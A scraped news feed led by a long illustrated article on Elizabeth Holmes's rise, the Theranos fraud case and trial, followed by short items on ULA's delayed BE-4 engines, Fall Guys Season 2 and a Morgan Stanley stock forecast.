Elizabeth Holmes was born on February 3, 1984 in Washington, D.C. Her mom, Noel, was a Congressional committee staffer, and her dad, Christian Holmes, worked for Enron before moving to government agencies like USAID.

Elizabeth Holmes tweet

@eholmes2003/Twitter

Source: Elizabeth Holmes/Twitter, CNN, Vanity Fair

Holmes' family moved when she was young, from Washington, D.C. to Houston.

washington dc
Washington, D.C.

Getty Images

Source: Fortune

When she was 7, Holmes tried to invent her own time machine, filling up an entire notebook with detailed engineering drawings. At the age of 9, Holmes told relatives she wanted to be a billionaire when she grew up. Her relatives described her as saying it with the "utmost seriousness and determination."

Elizabeth Holmes Theranos
Theranos CEO Elizabeth Holmes.

REUTERS/Carlo Allegri

Source: CBS News, Bad Blood: Secrets and Lies in a Silicon Valley Startup

Holmes had an "intense competitive streak" from a young age. She often played Monopoly with her younger brother and cousin, and she would insist on playing until the end, collecting the houses and hotels until she won. If Holmes was losing, she would often storm off. More than once, she ran directly through a screen on the door.

Elizabeth Holmes
Elizabeth Holmes, CEO of Theranos, attends a panel discussion during the Clinton Global Initiative's annual meeting in New York, September 29, 2015.

REUTERS/Brendan McDermid

Source: Bad Blood: Secrets and Lies in a Silicon Valley Startup

It was during high school that Holmes developed her work ethic, often staying up late to study. She quickly became a straight-A student, and even started her own business: she sold C++ compilers, a type of software that translates computer code, to Chinese schools.

Students in China

Tyrone Siu/Reuters

Source: Fortune, Bad Blood: Secrets and Lies in a Silicon Valley Startup

Holmes started taking Mandarin lessons, and part-way through high school, talked her way into being accepted by Stanford University’s summer program, which culminated in a trip to Beijing.

China, Beijing

Yepoka Yeebo / Business Insider

Source: Bad Blood: Secrets and Lies in a Silicon Valley Startup

Inspired by her great-great-grandfather Christian Holmes, a surgeon, Holmes decided she wanted to go into medicine. But she discovered early on that she was terrified of needles. Later, she said this influenced her to start Theranos.

Blood draw purple EDTA tube

Hollis Johnson/Business Insider

Source: San Francisco Business Times

Holmes went to Stanford to study chemical engineering. When she was a freshman, she became a "president's scholar," an honor which came with a $ 3,000 stipend to go toward a research project.

Stanford University Campus
STANFORD, CA – MAY 22: People ride bikes past Hoover Tower on the Stanford University campus on May 22, 2014 in Stanford, California. According to the Academic Ranking of World Universities by China's Shanghai Jiao Tong University, Stanford University ranked second behind Harvard University as the top universities in the world. UC Berkeley ranked third. (Photo by Justin Sullivan/Getty Images)

Justin Sullivan/Getty

Source: Fortune

Holmes spent the summer after her freshman year interning at the Genome Institute in Singapore. She got the job partly because she spoke Mandarin.

singapore skyline
An office worker walks along the Singapore River front during the lunch hour.

Wong Maye-E/AP

Source: Fortune

As a sophomore, Holmes went to one of her professors, Channing Robertson, and said: "Let's start a company." With his blessing, she founded Real-Time Cures, later changing the company's name to Theranos. Thanks to a typo, early employees’ paychecks actually said "Real-Time Curses."

Elizabeth Holmes

Getty Images

Source: Bad Blood: Secrets and Lies in a Silicon Valley Startup

Holmes soon filed a patent application for a "medical device for analyte monitoring and drug delivery," a wearable device that would administer medication, monitor patients' blood, and adjust the dosage as needed.

diabetes monitor

Reuters/Brian Snyder

Source: Fortune, US Patent Office

By the next semester, Holmes had dropped out of Stanford altogether, and was working on Theranos in the basement of a college house.

Elizabeth Holmes

Jeff Chiu/AP

Source: Wall Street Journal

Theranos's business model was based around the idea that it could run blood tests, using proprietary technology that required only a finger pinprick and a small amount of blood. Holmes said the tests would be able to detect medical conditions like cancer and high cholesterol.

theranos chairman
Theranos Chairman, CEO and Founder Elizabeth Holmes (L) and TechCrunch Writer and Moderator Jonathan Shieber speak onstage at TechCrunch Disrupt at Pier 48 on September 8, 2014 in San Francisco, California

Steve Jennings/Getty Images

Source: Wall Street Journal

Holmes started raising money for Theranos from prominent investors like Oracle founder Larry Ellison and Tim Draper, the father of a childhood friend and the founder of prominent VC firm Draper Fisher Jurvetson. Theranos raised more than $ 700 million, and Draper has continued to defend Holmes.

Tim Draper
Investor Tim Draper (right).

CNBC

Source: SEC, Crunchbase

Holmes took investors' money on the condition that she wouldn't have to reveal how Theranos' technology worked. Plus, she would have final say over everything having to do with the company.

elizabeth holmes theranos

JP Yim/Getty

Source: Vanity Fair

That obsession with secrecy extended to every aspect of Theranos. For the first decade Holmes spent building her company, Theranos operated in stealth mode. She even took three former Theranos employees to court, claiming they had misused Theranos trade secrets.

Elizabeth Holmes Theranos

Kimberly White/Getty

Source: San Francisco Business Times

Holmes' attitude toward secrecy and running a company was borrowed from a Silicon Valley hero of hers: former Apple CEO Steve Jobs. Holmes started dressing in black turtlenecks like Jobs, decorated her office with his favorite furniture, and like Jobs, never took vacations.

Steve Jobs
Steve Jobs.

Justin Sullivan/Getty Images

Source: Vanity Fair

Even Holmes's uncharacteristically deep voice may have been part of a carefully crafted image intended to help her fit in in the male-dominated business world. In ABC's podcast on Holmes called "The Dropout," former Theranos employees said the CEO sometimes "fell out of character," particularly after drinking, and would speak in a higher voice.

elizabeth holmes
Former U.S. President Bill Clinton and Elizabeth Holmes, CEO of Theranos, during the Clinton Global Initiative's annual meeting in New York.

Lucas Jackson/Reuters

Source: Bad Blood: Secrets and Lies in a Silicon Valley Startup, The Cut

Holmes was a demanding boss, and wanted her employees to work as hard as she did. She had her assistants track when employees arrived and left each day. To encourage people to work longer hours, she started having dinner catered to the office around 8 p.m. each night.

Theranos PaloAlto hq

Theranos

Source: Bad Blood: Secrets and Lies in a Silicon Valley Startup

More behind-the-scenes footage of what life was like at Theranos was revealed in leaked videos obtained by the team behind the HBO documentary "The Inventor: Out for Blood in Silicon Valley." The more than 100 hours of footage showed Holmes walking around the office, scenes from company parties, speeches from Holmes and Balwani, and Holmes dancing to "U Can't Touch This" by MC Hammer.

Elizabeth Holmes
Theranos founder Elizabeth Holmes at the company's headquarters.

Courtesy HBO

Source: Business Insider

Shortly after Holmes dropped out of Stanford at age 19, she began dating Theranos president and COO Sunny Balwani, who was 20 years her senior. The two met during Holmes' third year in Stanford’s summer Mandarin program, the summer before she went to college. She was bullied by some of the other students, and Balwani had come to her aid.

Sunny Balwani
Footage of Sunny Balwani presenting.

"60 Minutes"

Source: Bad Blood: Secrets and Lies in a Silicon Valley Startup

Balwani became Holmes' No. 2 at Theranos despite having little experience. He was said to be a bully, and often tracked his employees' whereabouts. Holmes and Balwani eventually broke up in spring 2016 when Holmes pushed him out of the company.

sunny balwani
Sunny Balwani pictured in January 2019.

Justin Sullivan/Getty Images

Source: Bad Blood: Secrets and Lies in a Silicon Valley Startup

In 2008, the Theranos board decided to remove Holmes as CEO in favor of someone more experienced. But over the course of a two-hour meeting, Holmes convinced them to let her stay in charge of her company.

elizabeth holmes

Jamie McCarthy / Getty

Source: Bad Blood: Secrets and Lies in a Silicon Valley Startup

As Theranos started to rake in millions of funding, Holmes became the subject of media attention and acclaim in the tech world. She graced the covers of Fortune and Forbes, gave a TED Talk, and spoke on panels with Bill Clinton and Alibaba's Jack Ma.

Bill Clinton Elizabeth Holmes Jack Ma
Elizabeth Holmes with former President Bill Clinton, left, and Alibaba cofounder Jack Ma.

Andrew Burton/Getty Images

Source: Vanity Fair

Theranos quickly began securing outside partnerships. Capital Blue Cross and Cleveland Clinic signed on to offer Theranos tests to their patients, and Walgreens made a deal to open Theranos testing centers in their stores. Theranos also formed a secret partnership with Safeway worth $ 350 million.

theranos review
A Theranos testing center inside a Walgreens.

Melia Robinson/Business Insider

Source: Wired, Business Insider

In 2011, Holmes hired her younger brother, Christian, to work at Theranos, although he didn’t have a medical or science background. Christian Holmes spent his early days at Theranos reading about sports online and recruiting his Duke University fraternity brothers to join the company. People dubbed Holmes and his crew the "Frat Pack" and "Therabros."

elizabeth christian holmes
Elizabeth Holmes and her brother, Christian.

Andrew Harrer/Bloomberg via Getty Images

Source: Bad Blood: Secrets and Lies in a Silicon Valley Startup

At one point, Holmes was the world's youngest self-made female billionaire with a net worth of around $ 4.5 billion.

Elizabeth Holmes

Kimberly White/Getty Images for Breakthrough Prize

Source: Forbes

Holmes was obsessed with security at Theranos. She asked anyone who visited the company’s headquarters to sign non-disclosure agreements before being allowed in the building, and had security guards escort visitors everywhere — even to the bathroom.

Audi A8 sedan

Michael Dalder/Reuters

 

Holmes hired bodyguards to drive her around in a black Audi sedan. Her nickname was "Eagle One." The windows in her office had bulletproof glass.

Source: Bad Blood: Secrets and Lies in a Silicon Valley Startup

Around the same time, questions were being raised about Theranos' technology. Ian Gibbons — chief scientist at Theranos and one of the company's first hires — warned Holmes that the tests weren't ready for the public to take, and that there were inaccuracies in the technology. Outside scientists began voicing their concerns about Theranos, too.

theranos review melia robinson

Melia Robinson/Tech Insider

Source: Vanity Fair, Business Insider

By August 2015, the FDA began investigating Theranos, and regulators from the government body that oversees laboratories found "major inaccuracies" in the testing Theranos was doing on patients.

protein lab pharmaceuticals

Mike Segar/Reuters

Source: Vanity Fair

By October 2015, Wall Street Journal reporter John Carreyrou published his investigation into Theranos's struggles with its technology. Carreyrou's reporting sparked the beginning of the company's downward spiral.

Wall Street Journal reporter John Carreyrou
Wall Street Journal reporter John Carreyrou.

CBS "60 Minutes"

Source: Wall Street Journal

Carreyrou found that Theranos' blood-testing machine, named Edison, couldn't give accurate results, so Theranos was running its samples through the same machines used by traditional blood-testing companies.

Flint Michigan lead crisis blood test

Carlos Osorio/AP

Source: Wall Street Journal

Holmes appeared on CNBC's "Mad Money" shortly after the WSJ published its story to defend herself and Theranos. "This is what happens when you work to change things, and first they think you're crazy, then they fight you, and then all of a sudden you change the world," Holmes said.

Elizabeth Holmes Mad Money

CNBC/YouTube

Source: CNBC

By 2016, the FDA, Centers for Medicare & Medicaid Services, and SEC were all looking into Theranos.

Elizabeth Holmes

Getty

Source: Wall Street Journal, Wired

In July 2016, Holmes was banned from the lab-testing industry for two years. By October, Theranos had shut down its lab operations and wellness centers.

Elizabeth Holmes

Mike Blake/Reuters

Source: Business Insider

In March 2018, Theranos, Holmes, and Balwani were charged with "massive fraud" by the SEC. Holmes agreed to give up financial and voting control of the company, pay a $ 500,000 fine, and return 18.9 million shares of Theranos stock. She also isn't allowed to be the director or officer of a publicly traded company for 10 years.

Elizabeth Holmes

Jeff Chiu/AP

Source: Business Insider

Despite the charges, Holmes was allowed to stay on as CEO of Theranos, since it's a private company. The company had been hanging on by a thread, and Holmes wrote to investors asking for more money to save Theranos. "In light of where we are, this is no easy ask," Holmes wrote.

Elizabeth Holmes

Kimberly White/Getty Images for Fortune

Source: Business Insider

In Theranos' final days, Holmes reportedly got a Siberian husky puppy named Balto that she brought into the office. However, the dog wasn't potty trained, and would go to the bathroom inside the company's office and during meetings.

Siberian Huskies
A Siberian husky (not Holmes' dog).

Kateryna Orlova/Shutterstock

Source: Vanity Fair

In June 2018, Theranos announced that Holmes was stepping down as CEO. On the same day, the Department of Justice announced that a federal grand jury had charged Holmes, along with Balwani, with nine counts of wire fraud and two counts of conspiracy to commit wire fraud.

Elizabeth Holmes
Elizabeth Holmes, founder and CEO of Theranos, speaks at the Wall Street Journal Digital Live (WSJDLive) conference at the Montage hotel in Laguna Beach, California, October 21, 2015.

Mike Blake/Reuters

Source: Business Insider, CNBC

Theranos sent an email to shareholders in September 2018 announcing that the company was shutting down. Theranos reportedly said it planned to spend the next few months repaying creditors with its remaining resources.

Elizabeth Holmes

Mike Blake/Reuters

Source: Wall Street Journal

Around the time Theranos' time was coming to an end, Holmes made her first public appearance alongside William "Billy" Evans, a 27-year-old heir to a hospitality property management company in California. The two reportedly first met in 2017, and were seen together in 2018 at Burning Man, the art festival in the Nevada desert.

burning man

Jim Rankin/Toronto Star via Getty Images

Source: Daily Mail

Holmes is said to wear Evans' MIT "signet ring" on a chain around her neck, and the couple reportedly posts photos "professing their love for each other" on a private Instagram account. Evans' parents are reportedly "flabbergasted" at their son's decision to marry Holmes.

Source: Vanity Fair, New York Post

It's unclear where Holmes and Evans currently reside, but they were previously living in a $ 5,000-a-month apartment in San Francisco until April 2019. The apartment was located just a few blocks from one of the city's top tourist attractions, the famously crooked block of Lombard Street.

elizabeth holmes san francisco apartment
Lombard Place Apartments, where Holmes used to live.

Rent SF Now

Source: Business Insider

It was later reported that Holmes and Evans got engaged in early 2019, then married in June in a secretive wedding ceremony. Former Theranos employees were reportedly not invited to the wedding, according to Vanity Fair.

elizabeth holmes theranos 4x3

Gilbert Carrasquillo/Getty Images; Samantha Lee/Business Insider

Source: Vanity Fair, New York Post

Holmes' and Balwani's cases have since been separated.

Elizabeth Holmes Sunny Balwani

Justin Silva/Getty, Stephen Lam/Reuters, Business Insider

Source: Department of Justice, Business Insider

Besides the criminal case, Holmes was also involved in a number of civil lawsuits, including one in Arizona brought by former Theranos patients over inaccurate blood tests. The lawyers representing her in the Arizona case said in late 2019 they hadn't been paid over a year and asked to be removed from Holmes' legal team.

Elizabeth Holmes Theranos court
Former Theranos CEO Elizabeth Holmes leaves after a hearing at a federal court.

Reuters/Stephen Lam

Source: Business Insider

Holmes' lawyers in the federal case had tried to get the government's entire case thrown out. In February 2020, Holmes caught a break after some of the charges against her were dropped when a judge ruled that some patients didn't suffer financial loss.

Elizabeth Holmes

Brendan McDermid/Reuters

Source: Business Insider

Amid the coronavirus outbreak, Holmes' lawyers asked the judge in April 2020 to deem the case "essential" so the defense team could defy lockdown orders and continue to travel and meet face-to-face. The judge said he was "taken aback" by the defense's pleas to violate lockdown.

Federal Courthouse san jose

Reuters/Robert Galbraith

Source: Business Insider

 

It soon become clear that the pandemic — and the health risks associated with assembling a trial in one — would make the July trial date unrealistic. Through hearings held on Zoom, the presiding judge initially pushed the trial back to October 2020 and later postponed it further to March 2021.

airport coronavirus masks
Passengers wear masks as they walk through LAX airport.

Reuters/Lucy Nicholson

Source: Business Insider

 

In March 2021, Holmes requested another delay to the trial because she was pregnant. She asked to push back the trial to August 31, and her request was granted. Holmes reportedly gave birth to the child in July.

Elizabeth Holmes

Nhat V. Meyer/MediaNews Group/Mercury News via Getty Images

Source: Business Insider, CNBC

Heading into the trial, Holmes felt "wronged, like Salem-witch-trial wronged," says a person who used to work with her closely.

Elizabeth Holmes
Holmes, right, leaving the Robert F. Peckham Federal Building in San Jose, California with her defense team on May 4, 2021.

Nhat V. Meyer/MediaNews Group/Mercury News via Getty Images

Source: Business Insider

The trial kicked off in September. In opening statements, prosecutors argued that, "Out of time and out of money, Elizabeth Holmes decided to lie." Meanwhile, the defense argued that although Theranos ultimately crumbled, "Failure is not a crime. Trying your hardest and coming up short is not a crime."

Elizabeth Holmes and her legal team arriving August 31 for her federal fraud trial
Theranos founder Elizabeth Holmes arrives at the Robert F. Peckham Federal Building with her defense team on August 31, 2021 in San Jose, California.

Ethan Swope/Getty Images

Source: Business Insider

 

The list of possible witnesses for the trial named roughly 200 people, including the likes of Rupert Murdoch, Henry Kissinger, James Mattis, and Holmes herself.

elizabeth holmes trial
Theranos founder Elizabeth Holmes leaves the Robert F. Peckham U.S. Courthouse with her mother, Noel Holmes, during her trial.

Brittany Hosea-Small/Reuters

Source: Business Insider

In the end, the trial featured testimony from just over 30 witnesses.

Elizabeth Holmes trial sketch.

Vicki Behringer/Reuters

Source: Business Insider

Over the course of 11 weeks, prosecutors called 29 witnesses to testify — including former Theranos employees, investors, patients, and doctors — before resting their case in November.

Elizabeth Holmes trial sketch

Vicki Behringer

Source: Business Insider

 

The defense then began making its case, calling just three witnesses, including Holmes herself.

Theranos founder Elizabeth Holmes leaves the Robert F. Peckham Federal Building and U.S. Courthouse in San Jose, California

Jane Tyska/Digital First Media/The Mercury News via Getty Images

Source: Business Insider

On the stand, Holmes said Balwani emotionally and sexually abused her during their relationship.

Elizabeth Holmes, founder and former CEO of Theranos, arrives for motion hearing on Monday, November 4, 2019, at the U.S. District Court House inside Robert F. Peckham Federal Building in San Jose, California. And former Theranos COO Ramesh "Sunny' Balwani leaves the Robert F. Peckham U.S. Federal Court on June 28, 2019 in San Jose, California.

Yichuan Cao/NurPhoto via Getty Images (Holmes). Justin Sullivan/Getty Images (Balwani).

Source: Business Insider

Holmes testified that Balwani controlled what she ate and how her schedule looked, told her she had to "become a new Elizabeth" to succeed in business, and forced her to have sex with him when she didn't want to because "he would say that he wanted me to know he still loved me."

Former Theranos COO Ramesh "Sunny' Balwani walks outside a federal courthouse in San Jose, California
Former Theranos COO Ramesh "Sunny' Balwani leaves the Robert F. Peckham U.S. Federal Court on June 28, 2019 in San Jose, California.

Justin Sullivan/Getty Images

Source: Business Insider

Holmes also admitted that she added some pharmaceutical companies' logos to Theranos' reports without authorization. Investors previously said they took some reassurance in those reports because, based on the logos, they thought major pharmaceutical companies had validated Theranos' technology. Holmes said she added the logos to convey that work was done in partnership with those companies, but in hindsight she wishes she had "done it differently."

Theranos founder and former CEO Elizabeth Holmes (L) walks with her mother Noel Holmes as they arrive for Elizabeth Holmes's trial at the Robert F. Peckham Federal Building on November 17, 2021 in San Jose, California.

Justin Sullivan/Getty Images

Source: Business Insider

Holmes also acknowledged on the stand that she hid Theranos' use of modified commercial devices from investors. She said she did this because company counsel told her that alterations the company made to the machines were trade secrets and needed to be protected as such.

Theranos founder Elizabeth Holmes leaves after attending her fraud trial at federal court in San Jose, California, U.S. November 22, 2021

Brittany Hosea-Small/Reuters

Source: Business Insider

Holmes spent seven days on the stand before the defense rested its case in early December.

Theranos founder Elizabeth Holmes wears a blue mask walking to federal court
Theranos founder Elizabeth Holmes arrives to attend her fraud trial at federal court in San Jose, California, U.S., December 16, 2021.

Peter DaSilva/Reuters

Source: Business Insider

In closing arguments, prosecutors argued that Holmes "chose fraud over business failure" while the defense argued she was "building a business, not a criminal enterprise."

Theranos founder Elizabeth Holmes wears a blue mask in federal court
Elizabeth Holmes walks into federal court in San Jose, Calif., Friday, Dec. 17, 2021.

Nic Coury/Associated Press

Source: Business Insider

After 15 weeks of trial, Holmes' case headed to a jury of eight men and four women on December 17.

Elizabeth Holmes, Billy Evans leaving court
Elizabeth Holmes, founder and former CEO of blood testing and life sciences company Theranos, leaves the courthouse with her husband Billy Evans after the first day of her fraud trial in San Jose, California on September 8, 2021.

Nick Otto/AFP/Getty Images

Source: Business Insider

Jurors deliberated for a total of seven days over the next few weeks before telling the court on January 3 that they were deadlocked on three of the 11 charges against Holmes. The judge read off some jury instructions to the group in court before instructing them to go back and deliberate further.

Theranos founder Elizabeth Holmes is seen wearing a blue mask and gray sweater in a courthouse

Kate Munsch/Reuters

Source: Business Insider

Hours later, the jury returned a mixed verdict for Holmes, finding her guilty on one count of conspiracy to defraud investors and three counts of wire fraud. They found her not guilty on four other counts and failed to reach a verdict on the remaining three counts.

Theranos founder and former CEO Elizabeth Holmes arrives for her trial at the Robert F. Peckham Federal Building on December 07, 2021 in San Jose, California. Holmes is facing charges of conspiracy and wire fraud for allegedly engaging in a multimillion-dollar scheme to defraud investors with the Theranos blood testing lab services.

Justin Sullivan/Getty Images

Source: Business Insider

The counts Holmes was found guilty of were all related to investments; she wasn't convicted on any of the charges involving patients who received inaccurate test results.

Theranos founder and former CEO Elizabeth Holmes (C) and her mother Noel Holmes leave the Robert F. Peckham Federal Building on January 3, 2022 in San Jose, California.

David Odisho/Getty Images

Source: Business Insider

Holmes now faces the possibility of decades in prison. Each count carries a maximum 20-year prison sentence, a $ 250,000 fine, and a requirement to pay victims restitution.

FILE - Elizabeth Holmes, founder and CEO of Theranos, arrives at the federal courthouse for jury selection in her trial, Tuesday, Aug. 31, 2021, in San Jose, Calif. A Fortune magazine reporter whose story helped turn Holmes into a Silicon Valley sensation came to court Thursday, Nov. 18 to explain how he ended up feeling like a pawn in the entrepreneur's promotion of what she called a revolutionary blood-testing technology.

AP Photo/Nic Coury, File

Source: Business Insider

 

Legal experts told Insider it's unlikely Holmes will get 20 years at sentencing, but she probably won't get off without serving any time either.

Theranos founder Elizabeth Holmes in a black suit jacket in a San Jose courtroom

Justin Sullivan/Getty Images

Source: Business Insider

Holmes was not taken into custody following the verdict and will remain free until her sentencing on a $ 500,000 bond secured by property.

Theranos founder Elizabeth Holmes and her partner Billy Evans stand outside a courtroom with a crowd of people nearby

Peter DaSilva/Reuters

Source: Business Insider

Since the conviction, Holmes and Theranos have been the focus of a Hulu limited series, "The Dropout," based on the ABC News podcast of the same name.

Amanda Seyfried as Elizabeth Holmes in "The Dropout" on Hulu (left); Elizabeth Holmes (right)
Amanda Seyfried in "The Dropout" (left); Elizabeth Holmes (right)

Beth Dubber/Hulu; Steve Jennings/Getty Images for TechCrunch

Source: Business Insider

Holmes is played by Amanda Seyfried in the dramatized series, which asks the question, "How did the world's youngest self-made female billionaire lose it all in the blink of an eye?"

Amanda Seyfried dressed in black on the phone sitting on the floor
Amanda Seyfried in "The Dropout."

Hulu

Source: Hulu

The show premiered March 3 and also stars Naveen Andrews as Balwani, Holmes' right-hand man at Theranos. Balwani's fraud trial began in March.

Naveen Andrews and Sunny Balwani

Beth Dubber/Hulu; Michael Short/Bloomberg via Getty Images

Source: Business Insider

 

Now, Holmes is pleading with a judge to toss her conviction.

In this Monday, Nov. 2, 2015 file photo, Elizabeth Holmes, founder and CEO of Theranos, speaks at the Fortune Global Forum in San Francisco.

AP

Source: Business Insider

 

In a 24-page filing on May 27, Holmes' attorneys argued for her acquittal, saying the evidence was "insufficient to sustain the convictions."

Elizabeth Holmes and partner Billy Evans pause outside of federal court after she was found guilty on 4 of 11 accounts faced in her fraud trial in San Jose, California, January 3, 2022. - Fallen US biotech star Elizabeth Holmes was convicted on Monday of defrauding investors in her blood-testing startup Theranos, in a high-profile case seen as an indictment of Silicon Valley culture. Jurors took seven days of deliberations to reach their verdict, finding her guilty of four counts of tricking investors into pouring money into what she claimed was a revolutionary testing system.

Nick Otto/AFP via Getty Images

Source: Business Insider

They wrote, "Because no rational juror could have found the elements of wire fraud and conspiracy to commit wire fraud beyond a reasonable doubt on this record, the Court should grant Ms. Holmes' motion for judgment of acquittal."

SAN JOSE, CA - DECEMBER 23: Billy Evans walks with his partner Theranos founder and former CEO Elizabeth Holmes and her mother Noel Holmes as they leave the Robert F. Peckham Federal Building on December 23, 2021 in San Jose, California. Jury deliberations continue in the Elizabeth Holmes fraud trial as she faces charges of conspiracy and wire fraud for allegedly engaging in a multimillion-dollar scheme to defraud investors with the Theranos blood-testing lab services.

David Odisho/Getty Images

Source: Business Insider

"Even if Ms. Holmes committed wire fraud against an investor (she did not) and even if Mr. Balwani committed wire fraud against an investor, that does not prove a conspiratorial agreement between them, nor does it prove that Ms. Holmes willfully joined any agreement," the attorneys continued in the filing.

SAN JOSE, CALIFORNIA - DECEMBER 17: Theranos founder and former CEO Elizabeth Holmes leaves the Robert F. Peckham Federal Building on December 17, 2021 in San Jose, California. Lawyers made their closing arguments in the Elizabeth Holmes fraud trial and the jury will begin deliberations. Holmes is facing charges of conspiracy and wire fraud for allegedly engaging in a multimillion-dollar scheme to defraud investors with the Theranos blood testing lab services.

Justin Sullivan/Getty Images

Source: Business Insider

Such appeals are common in cases like these, and legal experts expected Holmes would try to get her conviction overturned.

SAN JOSE, CA - January 03: Theranos founder Elizabeth Holmes, center, and her family leave the Robert F. Peckham Federal Building and U.S. Courthouse after the jury found her guilty on four counts in San Jose, Calif., on Monday, Jan. 3, 2022. Holmes was found guilty of four counts of defrauding investors, each carrying a maximum penalty of 20 years in prison.

Dai Sugano/MediaNews Group/The Mercury News via Getty Images

Source: Business Insider

The judge in Holmes' case set a hearing for July to weigh her request.

SAN JOSE, CA - DECEMBER 23: Billy Evans walks with his partner Theranos founder and former CEO Elizabeth Holmes and her mother Noel Holmes as they leave the Robert F. Peckham Federal Building on December 23, 2021 in San Jose, California. Jury deliberations continue in the Elizabeth Holmes fraud trial as she faces charges of conspiracy and wire fraud for allegedly engaging in a multimillion-dollar scheme to defraud investors with the Theranos blood-testing lab services.

David Odisho/Getty Images

Source: Business Insider

 

Meanwhile, Balwani was convicted on 12 fraud-related charges. The jury came back with a conviction after deliberating for five days.

Sunny Balwani going through security at the courthouse.
Former Theranos COO Ramesh "Sunny" Balwani goes through a security checkpoint as he arrives at the Robert F. Peckham U.S. Federal Court on March 10, 2022 in San Jose, California.

Justin Sullivan/Getty Images

Source: Business Insider

Both of them now await sentencing. Balwani's sentencing hearing is set for November 15. Holmes' sentencing date was originally slated for September 26, but it has since been delayed to October 17. No reason was provided for the delay.

A judge holding a gavel in a courtroom.

Chris Ryan/Getty

Source: Law360

Paige Leskin and Maya Kosoff contributed to earlier versions of this story.

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]]> https://briefnews.eu/the-rise-and-fall-of-elizabeth-holmes-the-former-theranos-ceo-found-guilty-of-wire-fraud-and-conspiracy-whose-sentencing-has-now-been-delayed/feed/ 0 As summer turns to fall, ULA still waiting for its BE-4 rocket engines https://briefnews.eu/as-summer-turns-to-fall-ula-still-waiting-for-its-be-4-rocket-engines/ https://briefnews.eu/as-summer-turns-to-fall-ula-still-waiting-for-its-be-4-rocket-engines/#respond Tue, 13 Sep 2022 13:48:17 +0000 https://briefnews.eu/as-summer-turns-to-fall-ula-still-waiting-for-its-be-4-rocket-engines/
Photograph of BE-4 "flight engine no. 2" on Blue Origin's test stand in Texas, as shared on Twitter by ULA chief executive Tory Bruno on August 26, 2022.

Enlarge / Photograph of BE-4 “flight engine no. 2” on Blue Origin’s test stand in Texas, as shared on Twitter by ULA chief executive Tory Bruno on August 26, 2022. (credit: Tory Bruno/Twitter)

Blue Origin shipped the first “flight” version of its BE-4 rocket engine to Texas for acceptance testing six weeks ago. These tests, scheduled to take less than a month, marked the final step before Blue Origin delivered the much-anticipated rocket engines to its customer, United Launch Alliance. A second flight engine followed the first out of the factory in mid-August.

These were hopeful signs for United Launch Alliance (ULA), which is using two of the large liquid oxygen-methane engines to power its new heavy lift Vulcan rocket. At the urging of the US Department of Defense, ULA has been pressing hard to make a 2022 launch date debut.

However, neither of these flight engines have yet been shipped from Texas to ULA’s rocket factory in northern Alabama. There, ULA is eagerly awaiting the engines for pre-launch processing and installation onto the rocket.

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]]> https://briefnews.eu/as-summer-turns-to-fall-ula-still-waiting-for-its-be-4-rocket-engines/feed/ 0 Fall Guys adds Star Trek, Aliens, and Hatsune Miku in its new season https://briefnews.eu/fall-guys-adds-star-trek-aliens-and-hatsune-miku-in-its-new-season/ https://briefnews.eu/fall-guys-adds-star-trek-aliens-and-hatsune-miku-in-its-new-season/#respond Mon, 12 Sep 2022 16:20:06 +0000 https://briefnews.eu/fall-guys-adds-star-trek-aliens-and-hatsune-miku-in-its-new-season/ Fall Guys: Ultimate Knockout announced its next season today, taking the beans where no bean has gone before. Season 2 of the recently gone free-to-play platform-party battle royale is moving the festivities to space in Satellite Scramble. The update will bring some major collaborations to the game, from Star Trek to Hatsune Miku.

Fall Guys SEASON 2 *CINEMATIC TRAILER* [HD]

Fall Guys Season 2: Satellite Scramble follows a tale of the game’s bean mascots leaving their home planet (home of the Blunderdome) behind in search of “intergalactic frontiers.” The new season brings more cosmic maps, minigames, aesthetics, costumes, challenges, and more to the title. The minigames are said to be space-themed variations of previous Rounds present in Solo, Duo, and Squads playlists. These come along with all-new Rounds that debut with the upcoming season 2 launch event.

New confirmed Rounds include:

  • Tiptoe Finale
  • Starchart
  • Pixel Painters
  • Cosmic Highway
  • Hyperdrive Heroes
  • Hex-a-terrestrial
  • Space Race
  • Frantic Factory

Season 2 will bring Star Trek’s Spock, the Xenomorph from the Alien series, and Hatsune Miku to the game as skins. Each of these collaborations is unlockable in the upcoming 100-plus level battle pass, along with other space-themed costumes, emotes, and unlocks.

The journey beyond the stars begins with a launch event on September 15. This event comes with various unlockable rewards that players can get by earning points in the launch playlist, similar to the recent Sonic the Hedgehog collaboration event. These rewards include:

  • Space Bean Nickname: 200 Points
  • 200 Kudos: 300 Points
  • Satellite Explorer Nameplate: 500 Points
  • Space Icons Pattern: 800 Points
  • Satellite Backpack: 1000 Points

The new season of Fall Guys: Ultimate Knockout begins on September 15 with a special launch event. The game is free-to-download for Xbox One, Xbox Series X/S, PlayStation 4, PlayStation 5, PC, and Nintendo Switch.

]]> https://briefnews.eu/fall-guys-adds-star-trek-aliens-and-hatsune-miku-in-its-new-season/feed/ 0 Stocks have yet to bottom and could fall another 23% this year amid slowing growth, Morgan Stanley says https://briefnews.eu/stocks-have-yet-to-bottom-and-could-fall-another-23-this-year-amid-slowing-growth-morgan-stanley-says/ https://briefnews.eu/stocks-have-yet-to-bottom-and-could-fall-another-23-this-year-amid-slowing-growth-morgan-stanley-says/#respond Tue, 06 Sep 2022 16:36:45 +0000 https://briefnews.eu/stocks-have-yet-to-bottom-and-could-fall-another-23-this-year-amid-slowing-growth-morgan-stanley-says/ trader nyse upset market crash

Reuters / Brendan McDermid

  • Stocks have yet to bottom and will see more downside later this year, Morgan Stanley said.
  • In the best-case scenario, the bank predicted that the S&P 500 would fall to 3,400 by year-end, and in the event of a recession, it would fall to 3,000.
  • But Morgan Stanley also expects the S&P 500 to recover next year, rising as high as 3,900 by June 2023, or to 3,350 in a bearish scenario.

Stocks haven't bottomed yet and could fall as much as 23% as investors shift their focus to slowing growth from Fed tightening, according to Morgan Stanley.

In the best-case scenario, the bank predicted that the S&P 500 would fall to 3,400 by year-end, and in the event of a recession, it would fall to 3,000. That represents downside of 13% and 23%, respectively, from current levels.

"While acknowledging the poor performance in equities year-to-date, we do not think the bear market is over if our earnings forecasts are correct," a team of analysts from Morgan Stanley said in a note on Tuesday.

Analysts revised their estimates for S&P 500 earnings per share down to $ 220 from $ 225 this year, and to $ 212 from $ 236 in the following year.

But Morgan Stanley also expects the S&P 500 to recover next year, rising as high as 3,900 by June 2023, or to 3,350 in a bearish scenario.

Meanwhile, the Federal Reserve is also expected to deliver another rate-hike of 50 to 75 basis points this month, which could eventually slow earnings further.

"Bottom line, we think the next several quarters will end up containing some of the most significant downward revisions to forward EPS forecasts we have seen in the past several cycles," analysts added.

